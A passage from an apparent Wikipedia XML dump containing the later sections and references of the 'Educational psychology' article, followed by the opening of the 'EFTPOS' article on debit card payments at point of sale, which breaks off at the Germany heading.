[[Applied Behavior Analysis|Applied behavior analysis]], a set of techniques based on the behavioral principles of [[operant conditioning]], is effective in a range of educational settings (Alberto &amp; Troutman, 2003). For example, teachers can improve student behavior by systematically rewarding students who follow classroom rules with praise, stars, or tokens exchangable for sundry items (McGoey &amp; DuPaul, 2003; Theodore, Bray, Kehle, &amp; Jensen, 2001). However, the use of rewards in education has been criticized by proponents of [[Self-Determination Theory|self-determination theory]], who claim that rewards undermine [[intrinsic motivation]]. There is evidence that tangible rewards decrease intrinsic motivation in specific situations, such as when the student already has a high level of intrinsic motivation to perform the goal behavior (Lepper, Greene, &amp; Nisbett, 1973). But the results showing detrimental effects are counterbalanced by evidence that, in other situations, such as when rewards are given for attaining a gradually increasing standard of performance, rewards enhance intrinsic motivation (Cameron, Pierce, Banko, &amp; Gear, 2005).  

===Cognitive perspective===
Among current educational psychologists, the cognitive perspective is more widely held than the behavioral perspective perhaps because it flexibly admits causally related mental constructs such as [[personality|traits]], [[beliefs]], [[memory|memories]], [[motivation|motivations]] and [[emotions]]. Cognitive theories posit memory structures that are thought to determine how information is [[perception|perceived]], [[information processing|processed]], stored, [[information retrieval|retrieved]] and [[forgetting|forgotten]]. Among the memory structures theorized by cognitive psychologists are separate but linked visual and verbal systems described by Paivio's [[dual coding theory]]. Educational psychologists have used dual coding theory and [[cognitive load]] theory to explain how people learn from [[multimedia]] presentations (Mayer, 2003).

[[Image:KrugDavisGlover1990.png|right|thumb|250px| Three experiments reported by Krug, Davis &amp; Glover (1990) demonstrated the advantage of delaying a 2nd reading of a text passage by one week (distributed) compared with no delay between readings (massed).]]
The spaced learning effect, a cognitive phenomenon strongly supported by psychological research, has broad applicability within education (Dempster, 1989). For example, students have been found to perform better on a test of knowledge about a text passage when a second reading of the passage is delayed rather than immediate (Krug, Davis &amp; Glover, 1990, see figure). Educational psychology research has confirmed the applicability to education of other findings from cognitive psychology, such as the benefits of using [[mnemonics]] for immediate and delayed retention of information (Carney &amp; Levin, 2000).

[[Problem solving]], regarded by many cognitive psychologists as fundamental to learning, is an important research topic in educational psychology. A student is thought to interpret a problem by assigning it to a problem [[Schema (psychology)|schema]] held as prior knowledge. When the problem is assigned to the wrong schema, the student's attention is subsequently directed away from features of the problem that are inconsistent with the assigned schema (Kalyuga, Chandler, Tuovnen &amp; Sweller, 2001). The critical step of finding a mapping between the problem and a pre-existing schema is often cited as supporting the centrality of [[analogy|analogical]] thinking to problem solving.

=== Social cognitive perspective ===
Social cognitive theory is a highly influential fusion of behavioral, cognitive and social elements that was initially developed by educational psychologist [[Albert Bandura]]. In its earlier, neo-behavioral incarnation called ''social learning theory'', Bandura emphasized the process of [[observational learning]] in which a learner's behavior changes as a result of observing others' behavior and its consequences. The theory identified several factors that determine whether observing a model will affect behavioral or cognitive change. These factors include the learner's developmental status, the perceived prestige and competence of the model, the consequences received by the model, the relevance of the model's behaviors and consequences to the learner's goals, and the learner's [[self-efficacy]]. The concept of self-efficacy, which played an important role in later developments of the theory, refers to the learner's belief in his or her ability to perform the modeled behavior.

An [[experiment]] by Schunk and Hanson (1985), studying grade 2 students who had previously experienced difficulty in learning [[subtraction]], illustrates the type of research stimulated by social learning theory. One group of students observed a subtraction demonstration by a teacher and then participated in an instructional program on subtraction. A second group observed other grade 2 students performing the same subtraction procedures and then partipated in the same instructional program. The students who observed peer models scored higher on a subtraction post-test and also reported greater confidence in their subtraction ability. The results were interpreted as supporting the [[hypothesis]] that perceived similarity of the model to the learner increases self-efficacy, leading to more effective learning of modeled behavior. It is supposed that peer modeling is particularly effective for students who have low self-efficacy.

Over the last decade, much research activity in educational psychology has focused on developing theories of [[self-regulated learning]] (SRL) and [[metacognition]]. These theories work from the central premise that effective learners are active agents who construct knowledge by setting goals, analysing tasks, planning strategies and monitoring their understanding.  Research has indicated that learners' who are better at goal setting and self-monitoring tend to have greater intrinsic task interest and [[self-efficacy]] (Zimmerman, 1998); and that teaching learning strategies can increase academic achievement (Hattie, Biggs &amp; Purdie, 1996).

===Constructivist perspective===
[[Constructivism (learning theory)|Constructivism]] refers to a category of learning theories in which emphasis is placed on the agency and prior knowledge of the learner, and often on the social and cultural determinants of the learning process. Educational psychologists distinguish individual (or psychological) constructivism, identified with Piaget's learning theory, from social constructivism. A dominant influence on the latter type is [[Lev Vygotsky]]'s work on sociocultural learning, describing how interactions with adults, more capable peers, and cognitive tools are internalized to form mental constructs. Elaborating on Vygotsky's theory, [[Jerome Bruner]] and other educational psychologists developed the important concept of [[instructional scaffolding]], in which the social or information environment offers supports for learning that are gradually withdrawn as they become internalized.

Vygotsky's version of [[Constructivist epistemology|constructivist]] theory has led to the view that behavior, skills, attitudes and beliefs are inherently [[situated cognition|situated]], that is, bound to a specific sociocultural setting. According to this view, the learner is enculturated through social interactions within a [[community of practice]]. The social constructivist view of learning has spawned approaches to teaching and learning such as [[cognitive apprenticeship]], in which the tacit components of a complex skill are made explicit through conversational interactions occurring between expert and novice in the setting in which the skill is embedded (Collins, Brown &amp; Newman, 1989).

==Motivation==
[[Motivation]] is an internal state that arouses, guides and sustains behavior. Educational psychology research on motivation is concerned with the [[Volition (psychology)|volition]] or [[Will (philosophy)|will]] that students bring to a task, their level of interest and [[intrinsic motivation]], the personally held [[Goal setting|goals]] that guide their behavior, and their belief about the causes of their success or failure.

A form of [[attribution theory]] developed by [[Bernard Weiner]] describes how students' beliefs about the causes of academic success or failure affect their emotions and motivations (Weiner, 2000). For example, when students attribute failure to lack of ability, and ability is perceived as uncontrollable, they experience the emotions of [[shame]] and [[embarrassment]] and consequently decrease effort and show poorer performance. In contrast, when students attribute failure to lack of effort, and effort is perceived as controllable, they experience the emotion of [[guilt]] and consequently increase effort and show improved performance.  

Motivational theories also explain how [[Goal Theory|learners' goals]] affect the way that they engage with academic tasks (Elliot, 1999). Those who have ''mastery goals'' strive to increase their ability and knowledge. Those who have ''performance approach goals'' strive for high grades and seek opportunities to demonstrate their abilities. Those who have ''performance avoidance'' goals are driven by fear of failure and avoid situations where their abilities are exposed. Research has found that mastery goals are associated with many positive outcomes such as persistence in the face of failure, preference for challenging tasks, [[creativity]] and [[intrinsic motivation]]. Performance avoidance goals are associated with negative outcomes such as poor [[attention|concentration]] while studying, disorganized studying, less self-regulation, shallow information processing and [[anxiety#Test anxiety|test anxiety]]. Performance approach goals are associated with positive outcomes, and some negative outcomes such as an unwillingness to seek help and shallow information processing.

==Research methods==
The research methods used in educational psychology tend to be drawn from psychology and other social sciences. There is also a history of significant methodological innovation by educational psychologists, or psychologists investigating educational problems. Research methods address problems in both [[design of experiments|research design]] and [[data analysis]]. Research design informs the planning of experiments and observational studies to ensure that their results have [[internal validity|internal]], [[external validity|external]] and [[ecological validity|ecological]] validity. Data analysis encompasses methods for processing both quantitive (numerical) and qualitative (non-numerical) research data. Although, historically, the use of quantitative methods was often considered an essential mark of scholarship, modern educational psychology research uses both [[quantitative research|quantitative]] and [[qualitative research|qualitative]] methods. 
===Quantitative methods===
[[Image:Normal_distribution_and_scales.gif|right|thumb|250px|Test scores and other educational variables often approximate a [[normal distribution]].]]
Perhaps first among the important methodological innovations of educational psychology was the development and application of [[factor analysis]] by [[Charles Spearman]]. Factor analysis is mentioned here as one example of the many [[Multivariate statistics|multivariate statistical methods]] used by educational psychologists. Factor analysis is used to summarize relationships among a large set of variables or test questions, develop theories about mental constructs such as self-efficacy or anxiety, and assess the reliability and validity of test scores (Thompson, 2004). Over one hundred years after its introduction by Spearman, factor analysis has become a research staple figuring prominantly in educational psychology journals.

Because educational [[assessment]] is fundamental to most quantitative research in the field, educational psychologists have made significant contributions to the field of [[psychometrics]]. For example, [[Cronbach's alpha|alpha]], the widely used measure of test [[Reliability (statistics)|reliability]] was developed by educational psychologist [[Lee Cronbach]]. The reliability of assessments are routinely reported in quantitative educational research. Although, originally, educational measurement methods were built on [[classical test theory]], [[item response theory]] and [[Rasch model|Rasch models]] are now used extensively in educational measurement worldwide. These models afford advantages over classical test theory, including the capacity to produce standard errors of measurement for each score or pattern of scores on assessments and the capacity to handle missing responses.

[[Meta-analysis]], the combination of individual research results to produce a quantitative [[literature review]], is another methodological innovation with a close association to educational psychology. In a meta-analysis, [[effect size]]s that represent, for example, the differences between treatment groups in a set of similar experiments, are averaged to obtain a single aggregate value representing the best [[estimate]] of the effect of treatment (Lipsey &amp; Wilson, 2001). Several decades after [[Karl Pearson|Pearson]]'s work with early versions of meta-analysis, [[Gene V Glass|Glass]] (1976) published the first application of modern meta-analytic techniques and triggered their broad application across the social and biomedical sciences. Today, meta-analysis is among the most common types of literature review found in educational psychology research.

===Qualitative methods===
Qualitative methods are used in educational studies whose purpose is to describe events, processes and situations of theoretical significance. The qualitative methods used in educational psychology often derive from [[psycholinguistics]], [[anthropology]] or [[sociology]]. For example, the anthropological method of [[ethnography]] has been used to describe teaching and learning in classrooms. In studies of this type, the researcher may gather detailed field notes as a [[Participant observation|participant observer]] or passive observer. Later, the notes and other data may be categorized and interpreted by methods such as [[grounded theory]]. [[Triangulation (social science)|Triangulation]], the practice of cross-checking findings with multiple data sources, is highly valued in qualitative research.

[[Case study|Case studies]] are forms of qualitative research focusing on a single person, organization, event, or other entity. In one case study (Everall, Bostik &amp; Paulson, 2005), researchers conducted a 150-minute, semi-structured [[interview]] with a 20-year old woman who had a history of [[Teenage suicide|suicidal]] thinking between the ages of 14 to 18. They analyzed an audio-recording of the interview to understand the roles of cognitive development, identify formation and [[Attachment theory|social attachment]] in ending her suicidal thinking. 

Qualitative analysis is most often applied to verbal data from sources such as conversations, interviews, [[focus group]]s, and personal journals. Qualitative methods are thus, typically, approaches to gathering, processing and reporting verbal data. One of the most commonly used methods for qualitative research in educational psychology is [[protocol analysis]] (Ericsson &amp; Simon, 1993). In this method the research participant is asked to ''think aloud'' while performing a task, such as solving a math problem. In protocol analysis the verbal data is thought to indicate which information the subject is attending to, but is explicitly not interpreted as an explanation or justification for behavior. In contrast, the method of verbal analysis (Chi, 1997) does admit learners' explanations as a way to reveal their  [[mental model]] or [[misconception]]s (e.g., of the laws of motion). The most fundamental operations in both protocol and verbal analysis are segmenting (isolating) and categorizing sections of verbal data. [[Conversation analysis]] and [[discourse analysis]], psycholinguistic methods that focus more specifically on the structure of conversational interchange (e.g., between a teacher and student), have been used to assess the process of conceptual change in science learning (Pea, 1993). Qualitative methods are also used to analyse information in a variety of media, such as students' drawings and [[concept maps]], video-recorded interactions, and computer log records.

==Applications in instructional design and technology==
[[Image:BloomsCognitiveDomain.PNG|right|thumb|250px|[[Taxonomy of education objectives|Bloom's taxonomy]] of educational objectives: categories in the cognitive domain (Anderson &amp; Krathwohl, 2001)]]

[[Instructional design]], the systematic design of materials, activities and interactive environments for learning, is broadly informed by educational psychology theories and research. For example, in defining learning goals or objectives, instructional designers often use a [[Taxonomy of education objectives|taxonomy of educational objectives]] created by [[Benjamin Bloom]] and colleagues (Anderson &amp; Krathwohl, 2001). Bloom also researched [[mastery learning]], an instructional strategy in which learners only advance to a new learning objective after they have mastered its prerequisite objectives. Bloom (1984) discovered that a combination of mastery learning with one-to-one tutoring is highly effective, producing learning outcomes far exceeding those normally encountered in classroom instruction. 
* [[Robert M. Gagné]]
*[[Cooperative learning]]
*[[Educational technology]]
* [[John R. Anderson]]
* [[Cognitive tutor]]
* [[Computer Supported Cooperative Learning|Computer supported collaborative learning]]
* [[Collaborative learning]]
* [[problem-based learning]]

==Applications in teaching==
[[Image:FinnGerberBoydZaharias2005.png|right|thumb|250px|A class size experiment in the United States found that attending small classes for 3 or more years in the early grades increased high school graduation of students from low income families (Finn, Gerber, &amp; Boyd-Zaharias, 2005).]]
Research on [[classroom management]] and [[pedagogy]] is conducted to guide teaching practice and form a foundation for teacher education programs. The goals of classroom management are to create an environment conducive to learning and to develop students' self-management skills. More specifically, classroom management strives to create positive teacher-student and peer relationships, manage student groups to sustain on-task behavior, and use counselling and other psychological methods to aid students who present persistent psychosocial problems (Emmer &amp; Stough, 2001).

*[[Special education]]
*[[Lesson plan]]

==History==
[[Image:Wm james.jpg|right|thumb|250px|William James]]
Educational psychology cannot claim priority in the systematic analysis of educational processes. [[philosophy of education|Philosophers of education]] such as [[Democritus]], [[Quintilian]], [[Vives]] and [[Comenius]], had examined, classified and judged the methods of education centuries before the [[History of psychology|beginnings of psychology]] in the late 1800s. Instead, aspirations of the new discipline rested on the application of the [[scientific methods]] of observation and experimentation to educational problems. Even in the earliest years of the discipline, educational psychologists recognized the limitations of this new approach. In his famous series of lectures ''Talks to Teachers on Psychology'', published in 1899 and now regarded as the first educational psychology textbook, the pioneering American psychologist [[William James]] commented that:

&lt;blockquote&gt;Psychology is a science, and teaching is an art; and sciences never generate arts directly out of themselves. An intermediate inventive mind must make that application, by using its originality. (James, 1899/1983, p. 15)&lt;/blockquote&gt;
* [[Charles Hubbard Judd]]

Thorndike, who developed the theory of [[instrumental conditioning]], presaged later work on programmed instruction, mastery learning and computer-based learning:

&lt;blockquote&gt;If, by a miracle of mechanical ingenuity, a book could be so arranged that only to him who had done what was directed on page one would page two become visible, and so on, much that now requires personal instruction could be managed by print. (Thorndike, 1912, p. 165)&lt;/blockquote&gt;

===Influential educational psychologists and theorists===
The following persons were selected and featured in a recent biographical history of educational psychology (Zimmerman &amp; Schunk, 2003), as having made significant contributions to the field:
* [[Albert Bandura]]  [[1925]]
* [[Alfred Binet]] [[1857]]-[[1911]]
* [[Benjamin Bloom]] [[1913]]-[[1999]]
* [[Ann Brown]] [[1943]]-[[1999]]
* [[Jerome Bruner]] [[1915]]
* [[Lee Cronbach]] [[1916]]-[[2001]]
* [[John Dewey]] [[1859]]-[[1952]]
* [[Nathaniel Gage]]
* [[Robert M. Gagné|Robert Gagné]] [[1916]]-[[2002]]
* [[William James]] [[1842]]-[[1910]] 
* [[Maria Montessori]] [[1870]]-[[1952]]
* [[Jean Piaget]] [[1896]]-[[1980]]
* [[Herbert Simon]] [[1916]]–[[2001]]
* [[B.F. Skinner|Burrhus Frederic Skinner]] [[1904]]-[[1990]]
* [[Charles Spearman]] [[1863]]-[[1945]]
* [[Lewis Terman]] [[1877]]-[[1956]]
* [[Edward L. Thorndike]] [[1874]]-[[1949]]
* [[Lev Vygotsky|Lev Semenovich Vygotsky]] [[1896]]-[[1934]]

==Careers in educational psychology==
A person may be considered an educational psychologist if he or she has completed a graduate [[academic degree|degree]] in educational psychology or a closely related field.  Universities establish educational psychology graduate programs in either psychology departments or, more commonly, faculties of education. Psychologists who work in a k-12 school setting are usually trained at either the [[Professional Master's degree|masters]] or doctoral ([[Doctor of Philosophy|PhD]] or [[Doctor of Education|EdD]]) level.  In addition to conducting assessments, school psychologists provide services such as academic and behavioral intervention, counseling, teacher consultation, and crisis intervention.

In recent decades the participation of women as professional researchers in [[North American]] educational psychology has risen dramatically (Evans, Hsieh &amp; Robinson, 2005). The percentage of female authors of peer-reviewed journal articles doubled from 1976 (24%) to 1995 (51%), and has since remained constant. Female membership on educational psychology journal editorial boards increased from 17% in 1976 to 47% in 2004. Over the same period, the proportion of chief editor positions held by women increased from 22% to 70%.

==Research journals==
{| align=right style=&quot;margin: 0 0 1em 1em; border: 1px solid #BEBEBE; background:#f9f9f9; color:#000000&quot;  cellpadding=3
!Journal 
!Impact*
|-
|[https://www.erlbaum.com/shop/tek9.asp?pg=products&amp;specific=0046-1520 Educational Psychologist] ||3.72
|-
|[http://www.cc.gatech.edu/lst/jls/ Journal of the Learning Sciences] ||2.28
|-
|[http://www.elsevier.com/wps/find/journaldescription.cws_home/620190/description#description Learning and Individual Differences] ||2.17
|-
|[http://www.aera.net/publications/?id=319 Review of Educational Research] ||1.96
|-
|[http://www.apa.org/journals/edu/ Journal of Educational Psychology] ||1.69
|-
|[http://www.elsevier.com/wps/find/journaldescription.cws_home/956/description#description Learning and Instruction] ||1.62
|-
|[http://ojs.aera.net/journals/index.php/jebs Journal of Educational and Behavioral Statistics] ||1.35
|-
|[http://springerlink.metapress.com/(t0svhs55wsolmg45powgxo55)/app/home/journal.asp?referrer=parent&amp;backto=linkingpublicationresults,1:104855,1 Educational Psychology Review] ||1.23
|-
|[http://35.8.171.42/aera/pubs/aerj/ American Educational Research Journal] ||1.10
|- 
|[http://www.bps.org.uk/publications/journals/bjep/bjep_home.cfm British Journal of Educational Psychology] ||0.92
|- 
|[https://www.erlbaum.com/shop/tek9.asp?pg=products&amp;specific=0737-0008 Cognition and Instruction] ||0.80
|-
|[http://www.elsevier.com/wps/find/journaldescription.cws_home/622811/description#description Contemporary Educational Psychology] ||0.75
|-
|[http://www.heldref.org/jexpe.php Journal of Experimental Education] ||0.73
|- 
|[http://www.springer.com/sgw/cda/frontpage/0,11855,4-40406-70-35680520-0,00.html Instructional Science] ||0.66
|-
|[http://www.blackwellpublishing.com/journal.asp?ref=0022-0655 Journal of Educational Measurement] || 0.47
|-
|[http://www.aect.org/Intranet/Publications/index.asp#etrd Educational Technology Res and Dev]||0.20
|-
|European Journal of Psychology of Education ||0.18
|-
|Japanese Journal of Educational Psychology ||0.08
|-
| * Citations per article from 2004 ISI JCR
|}
Although not exhaustive, the table to the right lists [[peer review|peer-reviewed]] journals in educational psychology and related fields. The [[impact factor]] is the average number of [[citations]] per article in each journal.

==See also==
* [[:Category:Educational psychologists|Educational psychologists]]
* [[:Category:Educational psychology|Articles related to educational psychology]]
* [[List of publications in psychology#Educational psychology | Important publications in educational psychology ]]
* [[Educational research]]
* [[Philosophy of education]]
* [[School psychologist]]
* [[List of education topics]]
* [[American Educational Research Association]]
* [[American Psychological Association]]
* [[Association for Psychological Science]]
* [[International Society of the Learning Sciences]]

== External links ==
* [http://psych.athabascau.ca/html/aupr/educational.shtml Educational Psychology Resources] by [[Athabasca University]]
* [http://www.apa.org/about/division/div15.html Division 15 of the American Psychological Association] 
* [http://www.schoolpsychology.net/ School Psychology on the Web]
* [http://www.wcupa.edu/_ACADEMICS/sch_cas.psy/Career_Paths/Educational/Career04.htm Careers in Educational Psychology]
* [http://wps.ablongman.com/ab_woolfolk_edpsych_9 Educational Psychology] by Anita Woolfolk
* [http://www.psych-ed.org/ The Psychology of Education] by Martyn Long
* [http://www.mhhe.com/socscience/education/elliott/ Educational Psychology: Effective Teaching, Effective Learning] by Elliot, Kratochwill, Cook &amp; Travers
* [http://courses.ed.asu.edu/berliner/readings//journey.htm The 100-Year Journey of Educational Psychology] by David C. Berliner
* [http://tip.psychology.org/index.html Explorations in Learning &amp; Instruction: The Theory Into Practice Database]
* [http://psychclassics.yorku.ca/index.htm Classics in the History of Psychology]
* Geary, D. C. (2005). [http://web.missouri.edu/~psycorie/FolkKnowledgePDF.pdf Folk knowledge and academic learning.] In B. J. Ellis &amp; D. F. Bjorklund (Eds.), [http://www.guilford.com/cgi-bin/cartscript.cgi?page=pr/ellis.htm&amp;dir=pp/dp&amp;cart_id=208191.21056 Origins of the social mind] (pp. 493-519). New York: Guilford Publications.

==Sources==
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Anderson, L. W., &amp; Krathwohl, D. R. (2001). ''A taxonomy for learning, teaching, and assessing: A revision of Bloom's taxonomy of educational objectives''. New York, USA: Addison-Wesley Longman.

Bloom, B. S. (1984). The two sigma problem: The search for methods of group instruction as effective as one-to-one tutoring. ''Educational Researcher, 13''(6),4–16.

Cameron, J., Pierce, W. D., Banko, K. M., &amp; Gear, A. (2005). Achievement-based rewards and intrinsic motivation: A test of cognitive mediators. ''Journal of Educational Psychology, 97'', 641-655.

Cano, F. (2005). Epistemological beliefs and approaches to learning: Their change through secondary school and their influence on academic performance. ''British Journal of Educational Psychology'', 75, 203-221.

Carney, R. N., &amp; Levin, J. R. (2000). Fading mnemonic memories: Here's looking anew, again!  ''Contemporary Educational Psychology'', 25, 499-508.

Chi, M. T. H. (1997). Quantifying qualitative analyses of verbal data: A practical guide. ''Journal of the Learning Sciences, 6'', 271-315.

Collins, A., Brown, J. S., &amp; Newman, S. E. (1989). Cognitive apprenticeship: Teaching the crafts of reading, writing, and mathematics. In L. B. Resnick, (Ed.), ''Knowing, learning, and instruction: Essays in honor of Robert Glaser''. Hillsdale, NJ, USA: Lawrence Erlbaum Associates, 453-494.

Dempster, F. N. (1989). Spacing effects and their implications for theory and practice. ''Educational Psychology Review, 1'', 309-330.

Detterman, D. K. (1993). The case for the prosecution: Transfer as an epiphenomenon. In D. K. Detterman &amp; R. J. Sternberg (Eds.), ''Transfer on trial: Intelligence, cognition, and instruction'' (pp. 1-24). Norwood, NJ: Ablex.

Evans, J., Hsieh, P. P., &amp; Robinson, D. H. (2005). Women's Involvement in educational psychology journals from 1976 to 2004. ''Educational Psychology Review, 17'', 263-271.

Elliot, A. J. (1999). Approach and avoidance motivation and achievement goals. ''Educational Psychologist, 34'', 169–189.

Ellis, J. A., Semb, G. B., &amp; Cole, B. (1998). Very long-term memory for information taught in school.  ''Contemporary Educational Psychology, 23'', 419-433.

Emmer, E. T., &amp; Stough, L. M. (2001). Classroom management: A critical part of educational psychology with implications for teacher education. ''Educational Psychologist, 36'', 103-112.

Ericsson, K. A., &amp; Simon, H. (1993). ''Protocol analysis: Verbal reports as data'' (Rev. ed.). Cambridge, MA: MIT Press. 

Everall, R. D., Bostik, K. E. &amp; Paulson, B. L. (2005). I'm sick of being me: Developmental themes in a suicidal adolescent. ''Adolescence, 40'', 693-708.

Finn, J. D., Gerber, S. B., Boyd-Zaharias, J. (2005). Small classes in the early grades, academic achievement, and graduating from high school. ''Journal of Educational Psychology, 97'', 214-233.

Gijbels, D., Dochy, F., &amp; Van den Bossche, P. (2005). Effects of problem-based learning: A meta-analysis from the angle of assessment. ''Review of Educational Research, 75'', 27-61.

Glass, G. V. (1976). Primary, secondary, and meta-analysis of research. ''Educational Researcher, 5'', 3-8.

Gronlund, N. E. (2000). ''How to write and use instructional objectives'' (6th ed.). Columbus, OH, USA: Merrill.

Halpern, D. F. (1998). Teaching critical thinking for transfer across domains. ''American Psychologist, 53'', 449-455.

Hattie, J., Biggs, J., &amp; Purdie, N. (1996). Effects of learning skills interventions on student learning: A meta-analysis. ''Review of Educational Research, 66'', 99-136.

James, W. (1983). ''Talks to teachers on psychology and to students on some of life's ideals''. Cambridge, MA: Harvard University Press. (Original work published 1899)

Kaluyuga, S., Chandler, P., Tuovinen, J., &amp; Sweller, J. (2001). When problem solving is superior to  studying worked examples. ''Journal of Educational Psychology, 93'', 579-588.

Krug, D., Davis, T. B., Glover, J. A. (1990). Massed versus distributed repeated reading: A case of forgetting helping recall? ''Journal of Educational Psychology, 82'', 366-371.

Lepper, M. R., Greene, D. &amp; Nisbett, R. E. (1973). Undermining children's intrinsic interest with extrinsic reward: A test of the “overjustification” hypothesis. ''Journal of Personality and Social Psychology, 28'', 129-137.

Lipsey, M. W., &amp; Wilson, D. B. (2001). ''Practical meta-analysis.'' London: Sage.

Lucas, J. L., Blazek, M. A., &amp; Raley, A. B. (2005). The lack of representation of educational psychology and school psychology in introductory psychology textbooks. ''Educational Psychology, 25'', 347-351.

Mager, R. F. (1975). ''Preparing instructional objectives.'' Belmont, CA, USA: Fearon.

McGoey, K. E., &amp; DuPaul, G. J. (2000). Token reinforcement and response cost procedures: Reducing the disruptive behavior of preschool children with attention-deficit/hyperactivity disorder. ''School Psychology Quarterly, 15'', 330-343.

Perkins, D. N. &amp; Grotzer, T. A. (1997). Teaching intelligence. ''American Psychologist, 52'', 1125-1133.

Purdie, N., Hattie, J., &amp; Carroll, A. (2002). A review of the research on interventions for attention deficit hyperactivity disorder: What works best? ''Review of Educational Research, 72'', 61-99.

Schunk, D. H., &amp; Hanson, A. R. (1985). Peer models: Influence on children's self-efficacy and achievement behavior. ''Journal of Educational Psychology, 77'', 313-322.

Semb, G. B., &amp; Ellis, J. A. (1994). Knowledge taught in schools: What is remembered? ''Review of Educational Research'', 64, 253-286.

Theodore, L. A., Bray, M. A., Kehle, T. J., &amp; Jenson, W. R. (2001). Randomization of group contingencies and reinforcers to reduce classroom disruptive behavior. ''Journal of School Psychology, 39'', 267-277.

Thompson, B. (2004). ''Exploratory and confirmatory factor analysis: Understanding concepts and applications''. Washington, DC, USA: American Psychological Association.

Thorndike, E. L. (1912). ''Education: A first book''. New York: MacMillan.

Weiner, B. (2000). Interpersonal and intrapersonal theories of motivation from an attributional perspective. ''Educational Psychology Review, 12'', 1-14.

Woolfolk, A. E., Winne, P. H., &amp; Perry, N. E. (2006). ''Educational Psychology'' (3rd Canadian ed.). Toronto, Canada: Pearson.

Hattie, J., Biggs, J., &amp; Purdie, N. (1996). Effects of learning skills interventions on student learning: A meta-analysis. ''Review of Educational Research, 66'', 99-136.

Zimmerman, B. J. (1998). Developing self-fulfilling cycles of academic regulation: An analysis of exemplary instructional models. In D. H. Schunk &amp; B. J. Zimmerman (Eds.) ''Self-regulated learning: From teaching to self-reflective practice'' (pp. 1-19). New York: Guilford.

Zimmerman, B. J., &amp; Schunk, D. H. (Eds.)(2003). ''Educational psychology: A century of contributions''. Mahwah, NJ, US: Erlbaum.

[[Category:Educational psychology| ]] 
[[Category:Applied psychology]]
[[Category:Education|Psychology]]
[[Category:Human behavior]]
[[Category:Social sciences]]

[[da:Pædagogisk psykologi]]
[[de:Schulpsychologie]]
[[he:פסיכולוגיה חינוכית]]
[[ja:教育心理学]]
[[pt:Psicologia educacional]]
[[sl:Pedagoška psihologija]]
[[zh:教育心理学]]</text>
    </revision>
  </page>
  <page>
    <title>EFTPOS</title>
    <id>10333</id>
    <revision>
      <id>40757373</id>
      <timestamp>2006-02-22T20:50:11Z</timestamp>
      <contributor>
        <username>Cmdrjameson</username>
        <id>101935</id>
      </contributor>
      <minor />
      <comment>Wikipedia URL→wikilink; wikilink with unneeded pipe</comment>
      <text xml:space="preserve">'''EFTPOS''' (Electronic Funds Transfer at Point of Sale) is a device by which sales transactions can be directly debited to the customer's bank account at the point of sale, through the use of a [[debit card]] (generally the same card used with [[Automatic Teller Machine]]s). Merchants using EFTPOS can also offer cashout facilities to customers, where a customer can withdraw cash along with their purchase. EFTPOS are sometime also called '''POS Terminal''' or '''Payment Terminal''' and must not be confused with traditional [[Point of sale]].

The customer's card is swiped through a card reader or inserted into chip reader and the merchant usually enters the amount of the transaction before the customer enters their account and [[Personal identification number|PIN]]. There is usually a short delay while the EFTPOS terminal contacts the server (over a phone line or mobile connection) before a message of Accepted or Declined is returned. Often, at peak shopping times (for example the last shopping day before Christmas), the system can become overloaded and the delay will become extended or even time out.



==Ubiquity in some countries==
EFTPOS could be seen a major driver of a cashless society in these countries. EFTPOS is so wide-spread and so commonly used that it is necessary to advertise &quot;cash only - no EFTPOS&quot; for events or locations where it is not available. Mobile EFTPOS is now used by certain taxi companies, pizza delivery outlets and stall holders at festivals, allowing EFTPOS transactions to be carried over the mobile network.

==EFTPOS in particular countries==

In some countries, banks tend to levy a small fee of around 25 to 50 cents per debit card transaction. Although bank accounts without these fees are becoming more common, these charges mean it is wise to limit EFTPOS usage. There are, however, many people in New Zealand and Australia who routinely use EFTPOS for all transactions, no matter how small. This has resulted in some retailers refusing to accept EFTPOS as payment for small transactions, where paying the transaction fee would absorb the [[profit margin]] on the sale, making the transaction uneconomic for the retailer.

===UK===
In the [[United Kingdom|UK]] integrated EFTPOS (usually referred to as [[debit card]]s) are an established part of the retail market.  Cards commonly in circulation include [[Maestro (debit card)|Maestro]] (previously [[Switch (debit card)|Switch]]), [[Solo (debit card)|Solo]], [[Visa (credit card)|Visa]] [[Visa Delta|Delta]] and Visa [[Visa Electron|Electron]]. Banks do not charge customers for EFTPOS transactions in the UK, but some retailers make small charges, particularly where the transaction amount in question is small. The UK is in the process of converting all [[debit card]]s in circulation to [[Chip and PIN]], based on the [[EMV]] standard, to increase transaction security.

===New Zealand===
The EFTPOS system is highly popular in [[New Zealand]]. Virtually all retail outlets have EFTPOS terminals, particularly supermarkets, dairies, service stations, and bars.  Increasingly Taxi operators and even businesses operating from stands at events have mobile EFTPOS terminals.

New Zealanders use EFTPOS for both small and large transactions. It would not be unusual for a New Zealander to use an EFTPOS card to pay for an amount as small as $1 [[New Zealand dollar|NZD]].  Because EFTPOS is such an integral part of spending in New Zealand, occasional network failures cause tremendous delays, inconvenience and lost income to businesses who must resort to swipe machines to process EFTPOS transactions until the network returns to service.

The [[Bank of New Zealand]] introduced EFTPOS to New Zealand in 1983 through a pilot scheme with petrol stations. New Zealand now has more EFTPOS terminals per head of population than any other country.

EFTPOS is operated through two primary networks. One owned by [[ANZ New Zealand]], and [[National Bank of New Zealand]], and a second operated by [[Electronic Transaction Services Limited]] which is owned by [[ASB Bank]], [[Westpac]] and the [[Bank of New Zealand]].

===Australia===
In [[Australia]], EFTPOS-enabled cards are accepted at almost all swipe terminals able to accept [[credit card]]s, regardless of the bank that issued the card, including [[Maestro (debit card)|Maestro]] cards issued by foreign banks, with most high turnover businesses accepting them, with 450,000 Point Of Sale terminals[http://www.maestrocard.com/cgi-bin/wheretouse.cgi?country=002&amp;Select+a+country.x=14&amp;Select+a+country.y=2&amp;region=01]. EFTPOS cards can also be used to deposit and withdraw cash over the counter at [[Australia Post]] outlets participating in giroPost, just as if the transaction was conducted at a bank branch, even if the bank branch is closed. Although EFTPOS terminals are now commonplace, many merchants still retain manual credit card terminals as their sole method of accepting cashless payment.

===Canada===
:''Main article: [[Interac]]''
[[Canada]] has a nation-wide EFTPOS system, called [[Interac|Interac Direct Payment]].  Since being introduced in 1994, IDP has become the most popular payment method in the country, surpassing even regular cash payments in [[2001]].

=== Germany ===
